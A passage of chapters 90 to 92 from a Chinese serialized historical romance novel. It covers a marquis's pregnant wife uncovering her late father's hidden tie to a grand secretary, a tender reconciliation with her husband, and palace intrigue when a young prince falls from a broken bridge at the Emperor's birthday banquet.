“啧,永定侯府对雍王殿下的不敬,都如此明目张胆了吗?亏得殿下还总念旧情……” 指责不敬的话语不断冒了出来,杜泠静连忙起了身行礼。 崇平一派警觉,逢祺并没说什么吗,但他身后的人更道。 “侯夫人见了殿下举止不当,轻行一礼,就准备揭过么?依我等之间,应该在殿下面前行大礼请罪才是。” 他们竟让杜泠静在雍王面前下跪请罪。 别说杜泠静不是有意怠慢,便是真有所怠慢,也不能跪下行礼。 那只会打了侯爷与娘娘的脸。 但此间又是窦家,举目望去全是文臣。着实有点为难,也难怪那人不肯让她来。 她略略皱眉思量了一下,准备为自己分说几句,揭过此事。 不想雍王逢祺倒是先开了口。 “夫人并无不妥之举,约莫只是在此歇脚而已。”他抬了手,示意身后的人都不必多言了。 杜泠静眨了眨眼,而少年则跟她极轻地点了下头,转身离去。 只是他身后的人还有些愤愤,还嘀嘀咕咕说着杜泠静的不当之举,欲揪她不放。 但就这时,蒋枫川从另一边寻了过来。 蒋枫川先跟殿下行礼,接着目光越过殿下落在陆侯夫人身上。 众人倏然都回了神,陆侯夫人还曾是蒋探花未过门的嫂子,眼下再为难她,到底是给谁难堪? 众人皆知,今岁新晋的蒋探花正是殿下眼前的红人。 蒋枫川上前,众人也都不再多言,杜泠静已借此机会转到走开了。 崇平比她紧张,额间隐隐有汗。杜泠静宽慰他,“最多只是些口角争执,在窦阁老府里,他们也不敢真的对我怎样。” 崇平点头应是。 杜泠静却又回头看了一眼那离去的少年皇子。 许是贵妃娘娘亲自将他养大的缘故,他身上似乎还带着几分娘娘柔善大度的影子。 经此一事,杜泠静不好再多逗留,径直去了给她下帖子的窦家老太君的贺寿堂里。 女眷们戾气并不太重,看向她的目光多有思量,但窦家的女眷却极其尴尬,打起精神招待不是,晾到一旁更不敢。 连窦阁老的老妻都有些拿捏不好尺寸,反倒是颤颤巍巍的老太君,一眼看到了她,就伸手招她往她身边坐。 老太君辈分太高,没人适合坐她身边,若是有爱说爱笑的家中小辈也就罢了,可她上了年纪,时常认不清人。 这会却独独招了杜泠静,坐到她身边。 崇平不便进来,留在外面,这会秋霖陪在杜泠静身侧,也目露犹豫。 杜泠静来都来了,不怕近前。 她也是小辈,干脆就顺着老太君的意思,坐到她身边榻上来。 满堂女眷皆安静不言。 唯独耄耋的老太君弯着眼睛笑着,吩咐窦阁老的夫人。 “去取些咸糕、倒些浓茶,给这孩子吃,她就好这口。” 老太君说得像模像样的,不知道的还真以为她了解杜泠静的喜好。 但窦家的女眷一个塞一个地尴尬,只听闻陆侯夫人喜食隆福寺的燎花糖,什么时候爱吃咸糕、喝浓茶了? 杜泠静也确实不爱这口,可却想起了什么,多看了老太君一眼。 不想老太君突然拍着她的手道,“你有了身孕,不是最想吃那乌梅糖吗?” 这话一出,杜泠静心下大惊。 她怀了身孕的事,根本没往外说开,窦家老太君怎么可能知道? 她愣着,窦家的女眷们都尴尬地要往地缝里钻。 老祖宗诶,您老都是在说什么? 窦阁老的夫人上前打圆场,“老太君约莫又认错人了,陆侯夫人勿怪。” 杜泠静说没关系,窦家老太君也确实是认错了人。 但是,她可能知道老太君,把她认成了谁? 窦家下面的人很快把这三样送了上来。 杜泠静目光落在这咸糕、浓茶和乌梅糖上,心湖不禁波澜起伏。 老太君认错人了。 但却把她认成了她娘! 老太君催促着她尝尝这三样,杜泠静拿起乌梅糖,浅浅咬了一口。 糖的甜意与梅子的酸涩在她口腔中顿时晕开。 她想起她母亲身体不好,过世的早,她对母亲几乎没有印象,可父亲却时常念及母亲。 每每父亲想念了她的时候,就会絮絮叨叨反复说起娘生前的时。 他说她口味重,糕点爱吃咸的,茶爱喝浓的,说她能吃酸。 爹说娘怀她的时候,最爱吃那乌梅糖。 杜泠静看去老太君,老太君弯起眼睛笑着如初。 据她了解,窦老太君是湖广人,而她母亲与父亲一样,都出身青州本地。且她外家并不是什么世家大族,只是外公曾是父亲读书时的西席先生而已。 她娘同窦家的老太君不可能有什么关系。而母亲生在青州长在青州,只有嫁给父亲在会后,才跟随父亲走出过青州。 窦家的老太君为什么知道她母亲的喜好,甚至知道母亲怀她的时候,爱吃乌梅糖? 杜泠静心下波澜不休。 之前宫宴,窦老太君就跟她示过好,这会又是老太君亲自打发人给她下帖子,又把她认成了她母亲。 是真的糊涂了吗?还是想跟她说什么? 可惜杜泠静到离开,也没找到几乎问出些什么,旁人则都认为老太君是真真糊涂了。 杜泠静揣着满腹的疑问离开了窦家。 侯爷提前一刻钟来接了她。 他见她脸色不太好就皱眉,花园里和雍王相遇的事,他听说了。 “他们为难你,让你难受了?”他俊脸难看得不行,“娘子放心,我已知道这几人都是谁了。” 杜泠静:“……” 她赶紧说这几人不打紧,接着便把窦家老太君,将她错认成她娘的事情说了来。 陆侯听了也有些匪夷所思。 但他却反应很快,“未曾听闻岳父与窦阁老相识,至少二人不是同省同乡,也不曾在一地做官。可若是岳父从前求学之时,曾与窦阁老有过交际,就不好说了。” 杜泠静顺着他的思路想了想,“母亲怀我的时候,父亲在河南求学,彼时窦阁老……” “窦阁老二十多年前,就在河南做官。” 话音落地,两人相互对视了一眼。 如果杜泠静的父亲和窦阁老曾经有些关系,为何都不曾提及,也从无人知晓? 陆慎如亦觉奇怪,这就派人去查。 杜泠静安静了一阵,男人抱了她在怀中,“又在想什么?” 她低头倚在他肩上,“我是在想,父亲好多事都没跟我说过。” 可能三郎都比她知道的多。 陆慎如看了看自己的娘子。 岳父爱女,有些事不说才是保护。 他揽她在怀,岔开话题问她,“这几日就是岳父忌日,泉泉可要回澄清坊小住?” 杜泠静安静地点了点头。 男人可以陪她同去,但他突然想到一个问题。 “如今澄清坊杜府分了三路,开阔宽敞,房舍众多,不知娘子要住哪一路?我让人提前去收拾。” 杜泠静还在想着今日在窦府的所见所闻,没仔细琢磨他的意思,就道。 “还住中路吧。” 她要住中路。 虽然不是种了竹林的西路,却也不是他为她扩出来的东西。 说起来,从东路扩好之后,她从未去住过。 男人一时并未多言,只吩咐人去收拾。 他略显沉默。 杜泠静则刚刚回了神,瞧见一旁沉默的男人,又回想了一下他方才的话,有点明白过来了。 他修给她的东路,她从未去住过,偏偏他伤了心从西北赶回来的那日,她就在西路西厢房里…… 不过,他不是说他不介意了吗? 杜泠静一时没开口,只偷偷打量他。他则越发沉默,却也不同她多言此事,待马车进了侯府里,他闷声将她亲自抱了下来。 他目光轻轻落在她小腹上。 “娘子多留意你腹中我们的孩儿。有不适立时告诉我。” 嗓音也闷闷的,但还真就一副“不介意”的大度模样,一句都不跟她多言住澄清坊哪一路的事,只是没把她放下,一路抱着她回了正院。 杜泠静:“……” 他还真就要把“不介意”演绎到底? 以他的性子,杜泠静怎么不太信? 不过到了父亲忌日,杜泠静去澄清坊小住的那天,却在巷中的老茶馆里,遇见了一个人。【你现在阅读的是 】 90-100 第91章 回澄清坊那日, 杜泠静在父亲生前常去的老茶馆里,见到了一人。 “窦阁老。”她上了前去。 权倾朝野的阁臣,此刻只穿着一身素衣布袍, 如寻常人一般,独自坐在窗下的小桌边吃茶。 杜泠静走过去, 他抬头看了她一眼, 杜泠静问他,她可都与他同桌落座,年迈的人只将手中的茶饮了又饮,并未回应。 但杜泠静并未觉察到他的拒绝之意, 自己点了茶水,安静地落了座。 外间落了几滴豆大的雨点, 一场暑夏匆促的疾雨瞬间把这老旧的茶馆罩住,支出去的窗子被雨点砸的砰砰作响,但临窗的小桌两边,一老一少却都安静饮茶。 年迈的阁老循着雨声往外看去, 但目光不经意从对面的女子身上掠过时, 连他都察觉地略作了停顿。 安静的时候, 简直一模一样…… 不过他到底没有真的停下去看,只往窗外瞧去。 这么一场疾雨, 就仿佛人世间匆促的际会,一盏茶的工夫, 雨酣畅淋漓的下过,拨云见晴。只是人不比雨, 雨会在暑气日头下很快蒸发不见,与人的相遇,却会记忆残留很久。 窦阁老默默将杯中残茶吃完没有再点, 不过仰头的时候,又忍不住看了对面的小辈一眼。 杜泠静却缓声开了口。 “阁老曾与家父相识吧?” 昨日,侯爷派人去打听就有了结果。 父亲婚后曾带着她娘亲前往各地游学,二人曾在河南一处书院驻足停留近两载,而这书院所在之地,正与当年窦阁老被排挤出来的偏僻州县毗邻。 两人极有可能在那两年中相识相交,只是没有明确的证据而已。 杜泠静轻声问了过去,但窦阁老看了她一眼。 “不识。” 杜泠静微顿,浅饮了一口茶又道。 “家父爱在此间饮茶。明日,就是他过世七年的忌日了。” 七年,原来人已走了七年了。 窦阁老不禁一默。 却又道,“不知。” 他不欲相认,杜泠静不好再说什么,这时窦阁老恰起了身,掏出钱放在桌上,转身离去。 杜泠静看去桌上他放下的茶水钱,竟然帮她一道付了。 她亦起身,在窦阁老身后行了一礼。年迈的人脚步微顿,却也没有停下,迈步离开。 杜泠静又在父亲旧年爱来的茶馆里坐了一阵,才起身离去。 谁想刚出茶馆,往杜家宅院的方向走了没几步,又遇见一个人。 “魏指挥使?” 是魏玦。 魏玦也没想到会在这里遇见她,愣了一下,“夫人回澄清坊了?” 杜泠静点头,见他脸色不是很好,眉眼低低垂落着,见杜泠静看来,敛了神色。 他说自己,“可巧从此路过。” 他没骑马,也没带着人手,亦穿了一身素色衣衫。 杜泠静还有意请他到府中吃杯茶,但他道还有要务在身,便走了。 杜泠静暗暗皱眉着,目送他走远,回到家门口,抬头看去门匾上,父亲与自己联手写下的“杜”、“府”二字。 她仰头看了许久,才抬脚进到门中。 文伯在府里等着她,杜泠静先问了几句,文伯进来如何,习惯性地往中路自己从前的厢房走去。 不想文伯叫了她一声,伸手指向了东边,进入东路的门前。 “夫人瞧瞧。” 杜泠静转头看去,见东路门口不知何时摆了许多花草,这些花草刚被方才的一阵疾雨浇过,此刻雨露还留在叶片上,又被风一吹,滚落下来。 院中还有人来人往的热闹声。 杜泠静眨了眨眼,不由转了脚步往东路里面走去。 原本东路就比中路和西路要精致得多,杜泠静一路往里面走去,发现沿路都摆了娇艳的鲜花,门帘窗帘不知何时全部一应换新,连廊下的灯笼都换了,而庭院当中,几人正合力抬着,安了一道秋千过去。 见杜泠静过来,仆从齐齐停下来行礼,“夫人。” “这是?” “回夫人的话,这是侯爷的意思,说让您回来小住的这几日,也有个乐趣。” 几人说话之间,已经把秋千安置稳妥了,又从上到下擦拭干净,只等她坐上去摇动。 “所以,花也是侯爷吩咐的?” 众人连道正是,又有婢女道,“连房中被褥也全都晾晒换了新。” 杜泠静看着崭新的花团锦簇的东路,心下忍不住要笑。 他之前问她住哪路,她说住中路,他听了就面色闷闷,却不多言,一味装作不在意。 她那会就想,陆惟石真能耐得住? 没想到中路是给她收拾了,但更将东路装扮成这副模样。 若是她还要去住中路旧厢房,不知他知道了,又会是什么脸色? 但杜泠静终是心下一软,看着这满园的鲜花,和特特给她置办的秋千,吩咐人把东西都拿过来。 “此番就住东路吧。” 杜泠静安顿下了,到了晚间,某人来了。 许是进门就听到她住了他扩出来的东路,待到了庭院中,一眼看到了廊下立着的人,眉眼间的笑意都压不住了。 杜泠静见他明明英眸都扬了起来,却还要问她,“娘子怎么住到东路来了?不是说仍宿在中路?” 杜泠静简直要笑出声,却忍着笑意,装作一本正经地思考。 “是吗?我原说得是中路?夫君不提醒,我都忘了,那我还是搬回去吧。” 她说完,就抬脚要往廊下走,可他却两步上前,将她拦在廊下,大掌更是扣住了她的手腕。 “既然来了,就别走了。” 既是到了他的地盘,他还能让她走? 杜泠静真是再没见过比他更霸道的人,他则将她拦腰抱了起来,直接将她抱进了房中。 “你伤处不疼了?”她连忙问。 男人说早就不疼了,“只要娘子同我好,这点伤算什么?” 杜泠静睁大了眼睛,明明是他之前一直生气,这会反而倒打一耙。 她不想搭理这个人了。 但他把她放在了窗下的榻上,炽热的掌心扶在了她的小腹上。 “可又难受?” 杜泠静眨了下眼睛看过去,“只要侯爷不寻事,这点难受算什么?” 话音落地,男人一顿,旋即又无奈笑了一声。 “泉泉……”他唤她。 压着她的耳朵,低头轻吻在她唇边。 独属于他的炽热气息,一瞬间将她拢在其中。 只几息,她喘息就急促了几分。 但她唇角噙着一抹温柔宁和的笑。 笑意落在陆慎如眸中的一瞬,令他心跳砰了一下。 她再不是九年前,从勉楼赶他走时的样子,不是他与她京城再见时,她的冷漠疏离,也不是他们大婚之时,他掀开盖头看到的她满面残泪…… 那一抹温柔宁和的笑意,就如细沙磨在他心头。 他后悔之前因蒋竹修跟她置气,说得那些重话。 他或许这一辈子都比不得蒋竹修在她心中的地位,但他能有她这一抹笑,只对他的笑,也该知足了。 他的吻意重了起来。 天还没完全黑透,但院中人早就退了一干二净。 而他突然将她抱到了床上,解了她的衣带。 杜泠静真是被他吓到了,“侯爷忘了不成?我们有孩子了!” 可他没忘,“孩儿娇嫩,但我亦想念娘子,只是与娘子亲近片刻罢了。” 想念?他们不是日日都在一起? 可他已将她揽在怀中,撩动长发,轻解衣衫。天热着,衣衫落下肩头,清凉卷上她的肩头。 他与她相对近坐,他亦弃了衣衫,不过须臾,他如壁垒般的胸膛露在了她眼前,他胸膛上旧痕纵横,但散发的滚烫热意,烫杜泠静不禁要逃遁而去。 但他不让她走,就把她圈在他如同烙铁的油亮起伏的胸膛前。 明知道他不能怎样,但只这份紧贴的热意,就激得杜泠静从耳根都滚烫了起来。 她不由想到他们刚成亲的时候,她一时接受不了他,他倒是不急于一时,但却夜夜与她赤裸相贴,直到她的身子先于人,与他身体熟络起来。 杜泠静真耐不住了,脸上热得不行,急于遁逃。 但他低声笑,“娘子与我都有孩儿了,怎么还会脸红?” 杜泠静不欲跟他分说,他却手掌自后拢了她,令她紧贴在他胸前,与他亲密相及。…… 杜泠静没走逃去,但最后耐不住的人却不是她。 他嗓音哑到不行,原本想持着她的手,让她握住那物件,但见她实在来不了这等事,只好取走了她的小兜。 “我自去料理。” 杜泠静:“……” 但她却莫名想起了大婚那晚,她怎么也找不到的小兜…… * 窦府。 窦阁老回了府里便问下人,“老太君呢?” 下人回到吗,老太君在自己院中吃枣。 窦阁老径直去了老娘的院中,果见枣子吃了半盘,见他来了朝他弯着眼睛笑。 “我儿吃枣。” 她的老儿子上了前去,又把下面的人尽数打发了。 窦阁老不同他老娘打圈,道,“您一时糊涂,一时又清醒,特特请了杜致礼家的闺女给来咱们家中,莫不真是要告诉她,我与她爹曾是旧交?” 但老太君却抬起老眼问了一句,“不是吗?” 窦阁老无奈,“是。但杜致礼已经过世,她又嫁了陆慎如那小子,旧事不提也罢。” 但他的老娘,却往他手里塞了把枣。 “我儿年少时的旧志向忘了?” 窦阁老默了默。他曾少年中第,旧志高如泰山,就杜致礼推行的那新政,在彼时的他眼里,根本算不了什么。 他曾写下万字谏言,也曾在谏言被拒之后,直言批评先帝,但最后得到的是什么? 是他在偏僻的州府里,冷板凳一坐十年。 他的旧志不曾忘,但先帝也好,今上也罢,都不是能令他一展志向的明君。 直到皇上的太子过世,他突然看到了机会。 他想要的明君,可以自己来栽培。 就是雍王! 窦阁老道,“儿子不曾忘,但尚不是时机。” 不想他的老娘突然一句。 “我儿也老了,真能等得来?” 窦阁老闻言笑了一声,他是都等老了,但也快了。 “皇上的身子,还不如我这老臣呢。” 他必然能熬到皇上过世,少帝登基。 但前提是,登基的是雍王而不是慧王。 窦阁老叫了老娘,“儿子只有可能去等雍王登基。您只管吃枣吧,可莫要给我添乱了!” 他把枣子又塞回到了老娘手里。 老娘看着枣子,只问,“真等得到?” 天下纷乱,可不是所有人都像他这样想。 那高坐宫中的皇帝,到底会让谁人继位,可没有人知道。 * 过了几日,万寿节就在眼前。 皇上五月端午的时候,因着身子不适,未开宫宴,但万寿节是为皇上祈福万寿无疆的日子,这宫宴少不了。 陆侯和他的夫人,这次略早进了宫里。 皇上身体越发不好,群臣都看得出来,催促立储的折子从各处往宫内飘。皇上虽都留中不发,却不会毫无思量。 今次文武百官都在,都想看一看,皇上对哪位儿子更有意。 陆侯无法再亲自照看孕妻,托了年嘉郡主,“劳烦郡主多多照看内子。” 年嘉稀奇,她刚从西北回京的时候,他陆侯不是要把她重新送回去? 年嘉记仇,这会道了句,“陆侯多虑了,我自会照看静娘,却不是为了侯爷。” 她特特留了个话头,没说是为谁照顾。 男人眸色微微一滞,但当着妻子的面,却是绝不会计较的。 他没理会挑衅的年嘉,只又嘱咐了杜泠静。 “泉泉若有不适,立时差人告诉我,告诉娘娘也可。” “知道了。”旁人都在往这处看来,杜泠静连忙推了他的耳提面命。 但他却皱眉道,“我怎觉得,娘子对你我的孩儿,不太上心?” 杜泠静百口莫辩。 见他闷着抿了唇,不得不道,“我怎会不上心?侯爷放心去吧。” 他不太信,但也只能走了。 年嘉但凡见他不高兴,那么心情必然好。 “我就见不得陆慎如一副为所欲为的样子,除了立储一事,我也希望贵妃娘娘能一登高位,其他么,我皆与他反过来。” 杜泠静心道她还有空和陆惟石作对,“你与世子如何?” 她一问,年嘉瞬间蔫了。 “世子不肯苦了我,已经从八日改成四日了。” 这次直接折半。 连杜泠静都睁大了眼睛。 这岂不是距离隔日甚至日日,已近在咫尺了? 年嘉双手捂了头,再没了心思去同陆侯斗气玩,拉着杜泠静,“我们去寻贵妃娘娘吧。” 两人问了路,得知贵妃前去皇后寝殿,亲自迎皇后前来。 命妇们都等着迎接。 杜泠静和年嘉也列队到了其中,不时见宫人在前清路,众妃嫔齐接皇后娘娘出殿。 只是陆怀如虽然恭敬地亲自去接了人,但此刻皇后近旁,却不是她这位份最高的贵妃,而是贵妃之下的两位妃嫔,贵妃反而被冷落在后。 一众命妇皆看在眼中,无人多言。 不想就在王皇后上阶的时候,脚下突然晃了一晃,一旁相扶的妃嫔,恰提前一步为她理了落座凤椅。 她突然往旁晃去,只有贵妃在后。 贵妃一步上前扶住了皇后娘娘。 可王皇后看清是她,却立时将她的手推开了去。 虽只是个再不起眼的动作,但近前的命妇全都定定看在了眼中。 皇后娘娘明摆地,下了贵妃娘娘的脸面。 待皇后落座,开口说了几句话之后,气氛松快三分,就有人窃窃议论起了方才的事。 杜泠静和年嘉都听见了,但看去上首陪侍王皇后身侧的贵妃陆怀如,却见她神色无甚变化,既无恼怒,也无委屈,只静静地坐着。 年嘉叹了一声,低声在杜泠静耳边。 “皇后娘娘厌恶贵妃也不是一天了,这十几年来皆如此。” 杜泠静目光问去,年嘉告诉她,这是她从前在她母妃处听来的传闻。 她说贵妃娘娘是一顶小轿进的王府,虽则后来补了侧妃的名头,但最初只是皇上的妾室。 而那时,皇上并没有妾室,只有皇后娘娘这一个正妻,唯一的一个侍妾,还是过世了的邵氏。但邵氏是皇后娘娘抬得,皇上并不太宠她,可陆怀如却是皇上看中了的,悄然将人接进府中,当晚行了房,次日才到皇后娘娘面前过了明路。 “据传闻,说皇后娘娘极其不喜贵妃娘娘。” 杜泠静心道难免,谁家正室,会乐意妾室出身如此之高,毕竟殷王一贯不受宠,王皇后只是小官家出身。 杜泠静暗暗叹气,却听年嘉又道,年嘉说这是传闻,是真是假不知道。 “但我听说,皇后娘娘彼时也年轻气盛,她容不下贵妃又不得不容,曾经就当着贵妃的面问她,永定侯府陆氏教养嫡女,是不是就往给人做妾上教养?” 这话听得杜泠静心下一颤。 贵妃娘娘陆怀如,陆氏嫡出的大小姐,一顶小轿委身给人做妾,受的是这样的羞辱吗? 她不由地向上首的陆怀如看去,贵妃神色平静不变。 杜泠静心绪复杂一时,不过年嘉说只是传闻罢了,“多半有夸张的成分,但王皇后确实脾气不好,出身又不高,她自己亦在意这一点。贵妃娘娘在她身前做妾那些年,只怕不会好过。” 杜泠静沉默。 王皇后在太子死后心伤成疾,太医曾认为皇后娘娘只怕不行了,但她又一年年撑了下来,会否是恨极了贵妃,偏生不肯为她让路,也压着慧王无法成为嫡子? 只是她不肯让位,或许情有可原,但皇上也对她十二分上心。 贵妃与慧王处境尴尬,只能一年一年,等了又等。 杜泠静暗猜其中缘由。正这时,大殿出传来一阵热闹声。 年嘉立时遣人去打听,不适宫人来回话,道是雍王殿下念的贺寿词,令皇上大喜。 “皇上龙心甚悦,方才重重赏了雍王殿下!” 话音落地,年嘉和杜泠静默然对了一眼。 第92章 众臣依礼齐齐祝拜皇上万寿之后, 宫宴才算开始。 气氛和缓松快下来,年嘉都开始寻人到处说话了,但她又怕杜泠静有孕不便, 一时又想同人闲谈,又要回头顾及她。 杜泠静见她不知怎么好, 干脆一摆手, “郡主去吧,我就在此间静坐休歇,不往旁处去,若有不妥再找你。” 年嘉放下心来, 同她那些宗室的郡主姐妹们一道说话去了。 这片杜泠静歇脚的廊亭没什么人过来,宫人见她不欲走动, 帮她搬了一张小榻安置在旁。 如此妥帖细心,杜泠静示意了秋霖一眼,秋霖立刻取了一双玉镯,给了搬榻的两位宫女。 但这两位宫女却连连摆手, 先是跟杜泠静道谢, 接着又道, “侯夫人有所不知,侯爷已赏过我等了。” 两人笑着跟她解释完, 就退了下去。 杜泠静这才意识到,宫人如此细致, 原来是某人打赏的功劳。 难怪他闷声说她对孩儿不上心,她比起他来, 是看着有些不上心…… 杜泠静想到某位侯爷,抿唇而笑。秋霖则又在旁问了一句。 “夫人您说,这位宫人姐姐缘何不要两份赏呢?总不能多给了再要回去。” 杜泠静被她问得一愣, 接着想到了什么。 “怕不是侯爷,‘重重有赏’,人家不好意思再要了吧?” 她说完,秋霖扑哧笑出了声,“夫人所言,极有可能!” 杜泠静也笑了起来,恰这时有人走近。 “舅母真的在此?”竟是慧王小殿下,他见杜泠静笑着,好奇问,“舅母在笑什么?” 杜泠静连忙让秋霖请他过来,把方才宫人的事同他说了,他听了,也抿着嘴笑起来。 “难怪连那红嘴绿鹦哥,都会‘重重有赏’!” 三人又是笑,但杜泠静却见逢祯神色不太好,脸色泛白,人也有些发蔫。 逢祯见她打量自己,轻声解释说自己感了风寒,“逢祯总有些小病,舅母不必挂怀。” 他说这话事,神色有些寥落。 方才皇上因贺寿词重赏了雍王逢祺,臣子们皆为雍王庆贺,但慧王小殿下却独自一阵转到了此处。 杜泠静见他才刚说了几句话,精神就有些不济了。但今日是皇上寿宴,他哪能得了安静休养。 杜泠静看了看天色,“殿下不若先在我这小榻上,小憩片刻,养养精神再过去不迟。” 哪怕睡个半刻钟,也能补些精神,今日且得忙碌一整日呢。 她见小殿下闻言,不由犹豫,疲倦的脸上眼皮都要耷落坠下。 杜泠静跟他点了头,他终是下了决心,“那多谢舅母,我就睡半刻钟。” 他小脑袋一耷拉,就在小榻上睡着了,杜泠静让秋霖取了披风替他盖上。 小殿下神色疲倦极了,杜泠静却不禁想到那高位之上的贵妃娘娘,和从西北来京的侯爷。逢祯约莫也看得出他母亲和舅舅有多艰难,便是病成这样,也尽力撑着。 杜泠静让秋霖去前面看着,若是没事,就让小殿下多睡一会,但半刻钟一过他就醒了过来。 他双手把眼睛揉了又揉,强打起精神来。 “多谢舅母的小榻,逢祯得走了。” 他果是要走,杜泠静也不好再拦,起身送了他。 * 一侧林中。 雍王逢祺面带红光,他抬手支了不相干的人,独独叫了新科探花蒋枫川上前说话。 “今次贺寿词得了父皇重赏,本王晓得,实是蒋探花的功劳。” 这篇贺词不巧正是蒋枫川替雍王所写,如今得了龙心大悦,雍王直接问来。 “探花有何所求,可直同本王说来,只要本王做得到,必赏探花。” 他许了蒋枫川可以任求的机会。 蒋枫川一顿,先是连道贺词本就是雍王殿下授意,他以殿下之意落笔成文而已。 他谦虚了一番,见少年皇子一直面色柔和地笑着,这才道。 “臣之所求,颇有些不好意思开口。” 少年挑了挑眉,“此间只有本王与探花二人,再无旁人。” 他道,“探花但说无妨。” 蒋枫川垂眸一笑,他恭敬行礼于雍王身前,而后缓缓开了口。 “日后若有契机,臣要……”他微顿,接着说了四个字。 “陆侯夫人。” 话音落地的瞬间,少年皇子眼眸不禁睁大,惊诧看向了身前的探花郎。 他要的竟是,陆侯的夫人。 …… 逢祺直到回到人群之中,还有些恍惚。 皇上将蒋探花招去闲叙,天热,逢祺撇了成日随在他身侧的众人,独自在清凉的林间走了几步。 刚走到林子边缘,就看到了从另一边走出来的两人。 那面容秀美,举手投足之间柔和矜持的女子,不巧正是他刚刚听到了耳边的陆侯夫人。 逢祺一时顿住,多看了陆侯夫人几眼,见她回身与人说话,那人也走了出来,是四弟逢祯。 陆侯是逢祯的亲舅父,陆侯夫人与逢祯一处说话并不奇怪。 但陆侯夫人领旨嫁给侯爷还不到一年,可看起来,逢祯已与她十分熟络,边说边笑。 四弟笑起来的时候,十分地像贵妃娘娘,唇角弯着,眉眼也弯着,透着数不尽的慈和与温柔。 但逢祺很快收回了目光,他往前面不远处的小河边的桥上走去。 不过桥另一头有一队端了点心的宫人鱼贯而来,似是点心要得急,他们穿小道快步过桥。 然而这一急,最后那小太监竟然一脚踩歪,砰得摔了个跟头。 他这一摔不光把手里的点心摔进了一旁的小河里,更是将小桥上的木栏杆压断开来。 他摇摇欲坠,一旁催促的大太监简直要把他拆了吃了。 “让你送个点心,把点心摔了不说,还把桥撞坏了?!今日可是万寿节,你若是不想活直接告诉说,找死的蠢东西!” 他恨声说完,左右开弓给了那小太监两大巴掌,直将人口角打出了血。 “住手。”逢祺上了前来。 太监们一看是他,连忙躬身行礼。 他瞧见了那小太监失误的前后,“那桥板似乎本就有些不稳,他这才摔了跤,今日是万寿喜日,不要闹出事来,就这样吧。” 他三言两语开口,那被打得唇角出血的小太监跪地就给他叩头,眼泪纵横着道谢。 大太监也不好再说什么,只能点头哈腰地在他身前,“殿下仁善。不过这桥也确实不能过人了,奴才这就支会守园人,让他们留意。” 处置还算妥帖,逢祺点了头,转身离去。 …… 杜泠静一直将逢祯送到了小河边,逢祯连道舅母不必相送,她才停下脚步。 “殿下今日带病赴宴,还是当小心,若是不适犯晕,还是要早早告诉贵妃娘娘的好。” 逢祯点头应下,同她告辞准备过河去寻在前面等他的小太监。 杜泠静目送他往桥上走去,谁料他双脚还没踏到桥上,旁边忽然有个小太监朝他叫去。 “慧王殿下,那桥坏了,不能走了!” 谁想小太监出口提醒,逢祯竟没听见,仍旧抬脚上了桥。 小太监讶然,又连声喊他,他都没听见。 杜泠静不禁想起了之前在侯府那日,她在后面唤逢祯,小皇子也都不曾听见。 杜泠静心下一跳,急着快步上前,而那呼喊的小太监,也着急忙慌地跑过来阻拦。 但她同小太监两人皆慢了一步。 只见逢祯走到小桥中央的时候,脚下的木板突然翘了起来,他一个没踩稳,身子骤然往一侧倾去。 一旁就有木扶栏。谁料他刚刚扶了上去,那栏杆竟然露出了断裂之处。 逢祯再扶不再栏杆,直往桥下小河中倒去。 就在这时,有人从木桥另一边,箭步冲上桥来。 他伸手就往逢祯身上拉去。眼看着一把拉住了逢祯的衣袖。 谁料那衣衫丝滑,竟没能止住逢祯落水的势头。 衣袖从那人手中溜走,他砰然落进了河里。 逢祯骤然落水,立时就引得守园的太监跳下河去救。 河水并不深,不至于真淹到了慧王殿下,但闻声围拢过来的人,目光却从慧王逢祯身上,落到了桥上没能拉住的人脸上。 他们都向雍王逢祺看了过去。 雍王站在桥上,慧王却失足跌落水中。 众人看向两位皇子的目光复杂了起来。 逢祺亦紧紧皱了眉,但一时没有开口说话。 就在这时,贵妃闻讯赶来。 逢祯并无大碍,只是呛了河水,已被太监抱起。 但杜泠静却见桥上的少年,在看到贵妃前来的一瞬,神色变了一变。 他终于开了口,他不由地道了一句,目光就落在贵妃脸上。 “不是我……” 他嗓音很低,却带着两分不易察觉的急切与无措。 贵妃愣了一下。 可这时,常围在雍王身侧的那些人都赶了过来,当头的就是邵氏前些日推到雍王身侧的那颇为聒噪的人。 此人眼见此等情形,反应极快,两步上前就拉住了桥上的雍王逢祺。 他只见贵妃等人就在桥对面,众人也都往此间看来。 他转头同雍王说话,更是说给所有人听。 “殿下莫不是吃了酒,竟跑到桥上救起人来!殿下救人是好心,可未必所有人都这般想,万一说人是您推下水的,可怎么办?” 这话一出,逢祺眸色一滞。 他目光仍往贵妃眸中看来,邵氏的人却急着拉了他下桥。 “您快走吧,留下去更要被人泼脏水了!” 邵氏的人拉着他下了桥去。 杜泠静却是从头到尾将此事看了分明。 她不由给贵妃递去了目光,又点了点头。 贵妃眼帘微颤,她转回头去,忽的开了口。 “等等。” 话音未落,邵氏和雍王身侧其他人,皆紧绷了神色。 雍王逢祺亦回过了头来。 少年的神色透着杜泠静都无法一眼品读的复杂,他目光只落在贵妃身上。 贵妃再次出了声。 “逢祺,多谢你。” 她嗓音带着自来的温柔中正与慈爱,她这一句出声的瞬间,杜泠静看到小河另一边的少年,眸光一颤。 但他很快被身侧的人,围拢着拉走了。 逢祯呛过水,也道并非哥哥推他下水,他在母妃面前。 “二哥其实,是拉了我一把的。” 贵妃娘娘平静的神色中,起了一道波澜。 她怔忪了几息,就赶忙吩咐人给慧王换衣。 陆侯亦闻讯赶来,见自己的娘子无碍先松了口气,接着又问到底怎么回事。 “……雍王做了什么?!” 杜泠静连忙把自己所见所闻,跟他复述了一遍。 “……我观雍王,真的是想救人。” 陆慎如讶然。 …… 宫宴终于结束,好在没再出了旁的岔子。 杜泠静回了府里换了衣裳,便见侯爷走了过来。 她想到今日的事,不禁问了一句。 “当年,雍王与贵妃娘娘生隙之事,到底是怎么回事?” 贵妃陆怀如,把那幼年失母的孩子,带在身边养了那么多年,不会没有母子情谊在,怎么会突然生隙。 陆慎如闻言揉了揉太阳穴。 他说原本都是好的,“可太子却染了时疫。那年的时疫并不重,太子原是该能救回来的。谁料病情一路直下,一夜间就薨了。” 太子之死令满朝文武震惊。 原本不对付的文臣与武将,还都暗暗往太子身上使力,众人都认为皇上身子不好,在位不会长,可太子却先于皇上薨逝了。 众人皆懵,待回过神来,关于新太子之选,就立刻吵了起来,文臣武将,分歧渐生。 